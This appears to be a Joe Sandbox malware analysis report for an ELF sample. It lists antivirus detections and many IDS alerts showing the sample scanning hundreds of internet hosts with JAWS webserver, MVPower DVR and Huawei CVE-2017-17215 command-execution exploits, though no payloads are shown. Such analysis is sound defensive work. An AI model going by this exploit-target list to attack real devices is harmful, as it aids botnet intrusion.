ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 77.51.82.198

Timestamp:	04/14/24-04:00:29.368516
SID:	2030092
Source Port:	57520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 82.223.21.137

Timestamp:	04/14/24-04:01:02.380372
SID:	2030092
Source Port:	50492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 201.218.209.226

Timestamp:	04/14/24-04:01:24.724116
SID:	2030092
Source Port:	42670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 13.232.155.65

Timestamp:	04/14/24-04:00:22.807096
SID:	2030092
Source Port:	45014
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.208.4.165

Timestamp:	04/14/24-04:01:28.306404
SID:	2030092
Source Port:	55524
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 199.67.121.162

Timestamp:	04/14/24-04:01:03.285949
SID:	2025883
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 18.155.196.181

Timestamp:	04/14/24-04:01:24.483333
SID:	2030092
Source Port:	43782
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 195.28.70.15

Timestamp:	04/14/24-04:01:45.303264
SID:	2030092
Source Port:	58990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 184.29.60.36

Timestamp:	04/14/24-04:00:27.608930
SID:	2025883
Source Port:	33212
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 2.19.74.62

Timestamp:	04/14/24-04:00:52.263453
SID:	2030092
Source Port:	50200
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 66.33.220.122

Timestamp:	04/14/24-04:00:55.629564
SID:	2025883
Source Port:	39472
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 106.55.143.9

Timestamp:	04/14/24-04:00:29.351909
SID:	2030092
Source Port:	52858
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 172.104.229.184

Timestamp:	04/14/24-04:01:18.576134
SID:	2030092
Source Port:	36274
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.207.99.199

Timestamp:	04/14/24-04:01:45.202514
SID:	2025883
Source Port:	33076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 62.31.96.100

Timestamp:	04/14/24-04:00:45.811296
SID:	2030092
Source Port:	55640
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 35.169.168.55

Timestamp:	04/14/24-04:00:46.386368
SID:	2030092
Source Port:	36124
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 156.241.117.44

Timestamp:	04/14/24-04:00:43.209354
SID:	2030092
Source Port:	57802
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 13.226.252.84

Timestamp:	04/14/24-04:01:36.562740
SID:	2025883
Source Port:	52682
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 2.22.20.139

Timestamp:	04/14/24-04:01:28.412588
SID:	2025883
Source Port:	35050
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 8.130.104.154

Timestamp:	04/14/24-04:01:47.639398
SID:	2030092
Source Port:	51060
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 111.89.205.206

Timestamp:	04/14/24-04:01:11.274951
SID:	2030092
Source Port:	34924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 116.124.75.172

Timestamp:	04/14/24-04:00:26.526355
SID:	2030092
Source Port:	36682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 52.68.126.111

Timestamp:	04/14/24-04:01:53.710843
SID:	2025883
Source Port:	55320
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.102.21.224

Timestamp:	04/14/24-04:00:38.680096
SID:	2025883
Source Port:	46060
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.104.29.222

Timestamp:	04/14/24-04:00:23.581357
SID:	2025883
Source Port:	36518
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 112.90.95.147

Timestamp:	04/14/24-04:00:15.723724
SID:	2030092
Source Port:	40432
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 172.234.221.196

Timestamp:	04/14/24-04:01:47.385370
SID:	2025883
Source Port:	35826
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 203.32.78.72

Timestamp:	04/14/24-04:00:34.736820
SID:	2025883
Source Port:	57768
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 148.0.2.9

Timestamp:	04/14/24-04:01:36.656522
SID:	2025883
Source Port:	50872
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 62.138.209.88

Timestamp:	04/14/24-04:01:42.620526
SID:	2030092
Source Port:	50746
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 37.221.250.92

Timestamp:	04/14/24-04:01:13.758841
SID:	2030092
Source Port:	49504
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 45.145.88.5

Timestamp:	04/14/24-04:01:03.864234
SID:	2030092
Source Port:	51604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 161.97.117.64

Timestamp:	04/14/24-04:00:16.679594
SID:	2025883
Source Port:	60794
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 216.32.28.43

Timestamp:	04/14/24-04:00:13.912169
SID:	2025883
Source Port:	39046
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 81.169.194.146

Timestamp:	04/14/24-04:00:15.057678
SID:	2025883
Source Port:	49432
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 104.248.234.118

Timestamp:	04/14/24-04:00:13.961131
SID:	2030092
Source Port:	34462
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 158.120.209.116

Timestamp:	04/14/24-04:00:22.618214
SID:	2030092
Source Port:	55830
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 45.201.188.7

Timestamp:	04/14/24-04:01:11.932247
SID:	2030092
Source Port:	41612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 104.232.102.48

Timestamp:	04/14/24-04:01:30.310744
SID:	2025883
Source Port:	54890
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 39.100.85.162

Timestamp:	04/14/24-03:59:55.025744
SID:	2030092
Source Port:	51368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 200.80.131.208

Timestamp:	04/14/24-04:01:28.443028
SID:	2030092
Source Port:	52786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: VkiGKeyI3L.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: VkiGKeyI3L.elf

Virustotal: Detection: 66%

Perma Link

Machine Learning detection for sample

Source: VkiGKeyI3L.elf

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 34.243.160.129:443 -> 192.168.2.13:50528 version: TLS 1.2

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48558 -> 173.44.211.253:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45610 -> 74.208.25.82:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44542 -> 17.248.175.20:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:51368 -> 39.100.85.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:48558 -> 173.44.211.253:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44542 -> 17.248.175.20:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:51368 -> 39.100.85.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45488 -> 198.211.117.232:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40566 -> 23.223.72.7:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47030 -> 23.212.202.146:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45610 -> 74.208.25.82:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40566 -> 23.223.72.7:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47030 -> 23.212.202.146:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48870 -> 18.216.104.237:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44004 -> 103.19.242.39:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:48870 -> 18.216.104.237:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44004 -> 103.19.242.39:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45488 -> 198.211.117.232:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44908 -> 18.154.216.239:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44908 -> 18.154.216.239:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:39046 -> 216.32.28.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:58952 -> 172.255.83.242:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:34462 -> 104.248.234.118:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50872 -> 63.160.189.199:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59400 -> 23.9.52.207:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48110 -> 123.56.125.186:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33676 -> 104.74.49.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35740 -> 39.108.232.40:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:39046 -> 216.32.28.43:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:58952 -> 172.255.83.242:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:59436 -> 192.185.167.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42090 -> 52.3.52.213:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50872 -> 63.160.189.199:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:34462 -> 104.248.234.118:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37134 -> 104.19.80.51:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:59400 -> 23.9.52.207:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33676 -> 104.74.49.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:41936 -> 216.47.49.134:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:48110 -> 123.56.125.186:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:35740 -> 39.108.232.40:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:59436 -> 192.185.167.102:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42090 -> 52.3.52.213:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37134 -> 104.19.80.51:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54158 -> 46.235.189.35:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43178 -> 116.255.226.15:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:41936 -> 216.47.49.134:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60510 -> 184.85.93.3:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43162 -> 83.66.226.69:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54158 -> 46.235.189.35:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:60510 -> 184.85.93.3:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43178 -> 116.255.226.15:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:35144 -> 190.167.7.136:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49432 -> 81.169.194.146:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:55122 -> 219.231.168.103:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:35144 -> 190.167.7.136:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:49432 -> 81.169.194.146:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43464 -> 143.204.37.147:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:47118 -> 178.242.138.104:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:46244 -> 52.7.20.164:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36266 -> 72.8.195.236:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:55122 -> 219.231.168.103:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:46530 -> 159.203.182.204:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48488 -> 69.168.3.9:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43464 -> 143.204.37.147:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:46244 -> 52.7.20.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36266 -> 72.8.195.236:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40432 -> 112.90.95.147:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:46530 -> 159.203.182.204:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36874 -> 104.89.113.53:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:40442 -> 112.90.95.147:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:47118 -> 178.242.138.104:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40432 -> 112.90.95.147:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:40442 -> 112.90.95.147:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36874 -> 104.89.113.53:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:43502 -> 143.204.37.147:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:43502 -> 143.204.37.147:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:51088 -> 104.206.59.2:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42720 -> 188.150.117.221:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48132 -> 80.190.131.134:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60794 -> 161.97.117.64:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:51088 -> 104.206.59.2:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42720 -> 188.150.117.221:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:48132 -> 80.190.131.134:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:60794 -> 161.97.117.64:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:41430 -> 69.163.139.88:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53182 -> 23.41.161.203:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:56946 -> 51.195.220.184:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44330 -> 47.238.160.6:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45348 -> 45.85.76.45:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33548 -> 185.153.151.196:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:41430 -> 69.163.139.88:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42962 -> 107.23.217.196:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:53182 -> 23.41.161.203:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:54908 -> 18.178.93.240:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:56946 -> 51.195.220.184:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44330 -> 47.238.160.6:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:45348 -> 45.85.76.45:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33548 -> 185.153.151.196:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42962 -> 107.23.217.196:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:54908 -> 18.178.93.240:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50190 -> 156.77.130.124:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50190 -> 156.77.130.124:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:37672 -> 8.217.236.138:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33710 -> 156.241.125.101:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33710 -> 156.241.125.101:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33568 -> 44.212.152.11:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:60332 -> 104.87.36.227:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:37672 -> 8.217.236.138:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:50184 -> 172.247.69.141:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44988 -> 159.89.127.214:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33568 -> 44.212.152.11:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:50184 -> 172.247.69.141:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:60332 -> 104.87.36.227:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:42794 -> 87.171.240.112:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44988 -> 159.89.127.214:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:44540 -> 116.96.120.220:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:42794 -> 87.171.240.112:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:44540 -> 116.96.120.220:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:55830 -> 158.120.209.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:33282 -> 23.87.89.132:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:36268 -> 23.39.224.152:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:53220 -> 125.229.13.9:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:48156 -> 191.85.52.98:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:49392 -> 149.106.147.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.13:45014 -> 13.232.155.65:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:55830 -> 158.120.209.116:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:33282 -> 23.87.89.132:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:36268 -> 23.39.224.152:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:53220 -> 125.229.13.9:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.13:48156 -> 191.85.52.98:80
